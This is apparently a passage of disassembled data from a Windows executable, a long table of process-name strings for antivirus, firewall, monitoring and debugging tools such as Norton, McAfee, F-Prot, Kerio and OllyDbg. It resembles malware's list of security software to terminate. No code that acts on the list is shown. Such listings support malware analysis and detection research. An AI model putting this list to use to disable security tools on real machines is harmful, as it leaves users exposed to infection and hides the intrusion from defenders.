aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:0042AAA4o
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:0042AAA0o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .data:0042AA9Co
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .data:0042AA98o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .data:0042AA94o
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .data:0042AA90o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .data:0042AA8Co
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .data:0042AA88o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .data:0042AA84o
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .data:0042AA80o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .data:0042AA7Co
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:0042AA78o
		align 10h
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .data:0042AA74o
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .data:0042AA70o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .data:0042AA6Co
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .data:0042AA68o
		align 4
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .data:0042AA64o
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .data:0042AA60o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .data:0042AA5Co
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .data:0042AA58o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .data:0042AA54o
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .data:0042AA50o
		align 4
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .data:0042AA4Co
		align 4
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .data:0042AA48o
		align 10h
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .data:0042AA44o
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .data:0042AA40o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .data:0042AA3Co
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .data:0042AA38o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .data:0042AA34o
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .data:0042AA30o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .data:0042AA2Co
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .data:0042AA28o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .data:0042AA24o
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:0042AA20o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .data:0042AA1Co
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .data:0042AA18o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .data:0042AA14o
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .data:0042AA10o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .data:0042AA0Co
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .data:0042AA08o
		align 10h
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .data:0042AA04o
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .data:0042AA00o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:0042A9FCo
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:0042A9F8o
		align 4
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .data:0042A9F0o
					; .data:0042A9F4o
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .data:0042A9ECo
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .data:0042A9E8o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .data:0042A9E4o
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .data:0042A9E0o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .data:0042A9DCo
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .data:0042A9D8o
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .data:0042A9D4o
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .data:0042A9D0o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .data:0042A9CCo
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .data:0042A9C8o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .data:0042A9C4o
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .data:0042A9BCo
					; .data:0042A9C0o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .data:0042A9B8o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .data:0042A9B4o
		align 10h
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .data:0042A9B0o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .data:0042A9ACo
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .data:0042A9A8o
		align 4
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .data:0042A9A4o
		align 4
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .data:0042A9A0o
		align 4
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .data:0042A99Co
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .data:0042A998o
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .data:0042A994o
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .data:0042A990o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .data:0042A98Co
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:0042A988o
		align 10h
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:0042A984o
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .data:0042A980o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0042A97Co
		align 10h
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .data:0042A978o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .data:0042A974o
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .data:0042A970o
		align 4
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .data:0042A96Co
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .data:0042A968o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .data:0042A964o
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .data:0042A960o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0042A95Co
		align 10h
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .data:0042A958o
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .data:0042A954o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .data:0042A950o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .data:0042A94Co
		align 4
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .data:0042A948o
		align 4
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .data:0042A944o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .data:0042A940o
		align 4
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .data:0042A93Co
		align 10h
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .data:0042A938o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .data:0042A934o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .data:0042A930o
		align 4
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .data:0042A92Co
		align 10h
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .data:0042A928o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .data:0042A924o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .data:0042A920o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:0042A91Co
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .data:0042A918o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .data:0042A914o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .data:0042A910o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:0042A90Co
		align 10h
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:0042A908o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .data:0042A904o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .data:0042A900o
		align 4
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .data:0042A8FCo
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .data:0042A8F8o
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .data:0042A8F4o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .data:0042A8F0o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .data:0042A8ECo
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .data:0042A8E8o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .data:0042A8E4o
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .data:0042A8E0o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .data:0042A8DCo
		align 10h
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .data:0042A8D8o
		align 10h
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .data:0042A8D4o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .data:0042A8D0o
		align 4
aMsconfig_exe_0	db 'MSCONFIG.EXE',0     ; DATA XREF: .data:0042A8CCo
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .data:0042A8C8o
		align 4
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .data:0042A8C4o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .data:0042A8C0o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .data:0042A8BCo
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .data:0042A8B8o
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .data:0042A8B4o
		align 10h
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .data:0042A8B0o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .data:0042A8ACo
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .data:0042A8A8o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .data:0042A8A4o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .data:0042A8A0o
		align 4
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .data:0042A89Co
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .data:0042A898o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .data:0042A894o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .data:0042A890o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .data:0042A88Co
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .data:0042A888o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .data:0042A884o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .data:0042A880o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:0042A87Co
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .data:0042A878o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .data:0042A874o
		align 4
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .data:0042A870o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .data:0042A86Co
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .data:0042A868o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .data:0042A860o
					; .data:0042A864o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .data:0042A85Co
		align 4
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .data:0042A858o
		align 4
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .data:0042A854o
		align 4
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .data:0042A850o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .data:0042A84Co
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .data:0042A848o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .data:0042A844o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .data:0042A840o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .data:0042A83Co
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .data:0042A834o
					; .data:0042A838o
		align 10h
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .data:0042A830o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .data:0042A82Co
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .data:0042A828o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:0042A824o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .data:0042A820o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .data:0042A81Co
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .data:0042A818o
		align 4
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .data:0042A814o
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .data:0042A810o
		align 10h
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .data:0042A80Co
		align 10h
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .data:0042A808o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .data:0042A804o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .data:0042A800o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:0042A7FCo
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .data:0042A7F8o
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042A7F4o
		align 10h
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:0042A7F0o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:0042A7ECo
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .data:0042A7E8o
		align 4
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .data:0042A7E4o
		align 10h
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .data:0042A7E0o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0042A7DCo
		align 10h
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:0042A7D8o
		align 4
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .data:0042A7D4o
		align 10h
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .data:0042A7D0o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .data:0042A7CCo
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .data:0042A7C8o
		align 4
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .data:0042A7C4o
		align 10h
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .data:0042A7C0o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .data:0042A7BCo
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .data:0042A7B8o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .data:0042A7B4o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .data:0042A7B0o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .data:0042A7ACo
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .data:0042A7A8o
		align 4
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .data:0042A7A4o
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .data:0042A7A0o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .data:0042A79Co
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .data:0042A798o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .data:0042A794o
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .data:0042A790o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .data:0042A78Co
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .data:0042A788o
		align 10h
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .data:0042A784o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .data:0042A780o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .data:0042A778o
					; .data:0042A77Co
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .data:0042A774o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .data:0042A770o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .data:0042A76Co
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .data:0042A768o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .data:0042A764o
		align 10h
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .data:0042A760o
		align 10h
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .data:0042A75Co
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .data:0042A758o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .data:0042A754o
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .data:0042A750o
		align 10h
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .data:0042A74Co
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .data:0042A748o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .data:0042A744o
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .data:0042A740o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .data:0042A73Co
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .data:0042A738o
		align 10h
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .data:0042A734o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:0042A730o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .data:0042A72Co
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .data:0042A728o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .data:0042A724o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .data:0042A720o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .data:0042A71Co
		align 10h
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .data:0042A718o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .data:0042A714o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .data:0042A710o
		align 4
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .data:0042A70Co
		align 10h
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .data:0042A708o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .data:0042A704o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .data:0042A700o
		align 4
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:0042A6FCo
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:0042A6F8o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .data:0042A6F4o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .data:0042A6F0o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .data:0042A6ECo
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .data:0042A6E8o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .data:0042A6E4o
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:0042A6E0o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .data:0042A6DCo
		align 4
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .data:0042A6D8o
		align 10h
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:0042A6D4o
		align 4
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .data:0042A6D0o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .data:0042A6CCo
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .data:0042A6C8o
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .data:0042A6C4o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .data:0042A6C0o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .data:0042A6BCo
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .data:0042A6B8o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .data:0042A6B4o
		align 10h
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .data:0042A6B0o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .data:0042A6ACo
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .data:0042A6A8o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .data:0042A6A4o
		align 4
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .data:0042A6A0o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0042A69Co
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .data:0042A698o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .data:0042A694o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .data:0042A690o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .data:0042A68Co
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .data:0042A688o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .data:0042A684o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .data:0042A680o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .data:0042A67Co
		align 4
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .data:0042A678o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .data:0042A674o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .data:0042A670o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .data:0042A66Co
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .data:0042A668o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .data:0042A664o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .data:0042A660o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .data:0042A65Co
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .data:0042A658o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .data:0042A654o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .data:0042A650o
		align 4
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .data:0042A64Co
		align 4
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .data:0042A648o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .data:0042A644o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .data:0042A640o
		align 4
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .data:0042A63Co
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .data:0042A638o
		align 10h
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .data:0042A634o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .data:0042A630o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .data:0042A62Co
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .data:0042A628o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .data:0042A624o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .data:0042A620o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .data:0042A618o
		align 4
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .data:0042A614o
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .data:0042A610o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .data:0042A60Co
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .data:0042A608o
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .data:0042A604o
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .data:0042A600o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .data:0042A5FCo
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:0042A5F8o
		align 4
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .data:0042A5F4o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .data:0042A5F0o
		align 10h
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .data:0042A5ECo
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .data:0042A5E8o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .data:0042A5E4o
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .data:0042A5E0o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .data:0042A5DCo
		align 10h
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .data:0042A5D8o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .data:0042A5D4o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .data:0042A5D0o
					; .data:0042A61Co
		align 4
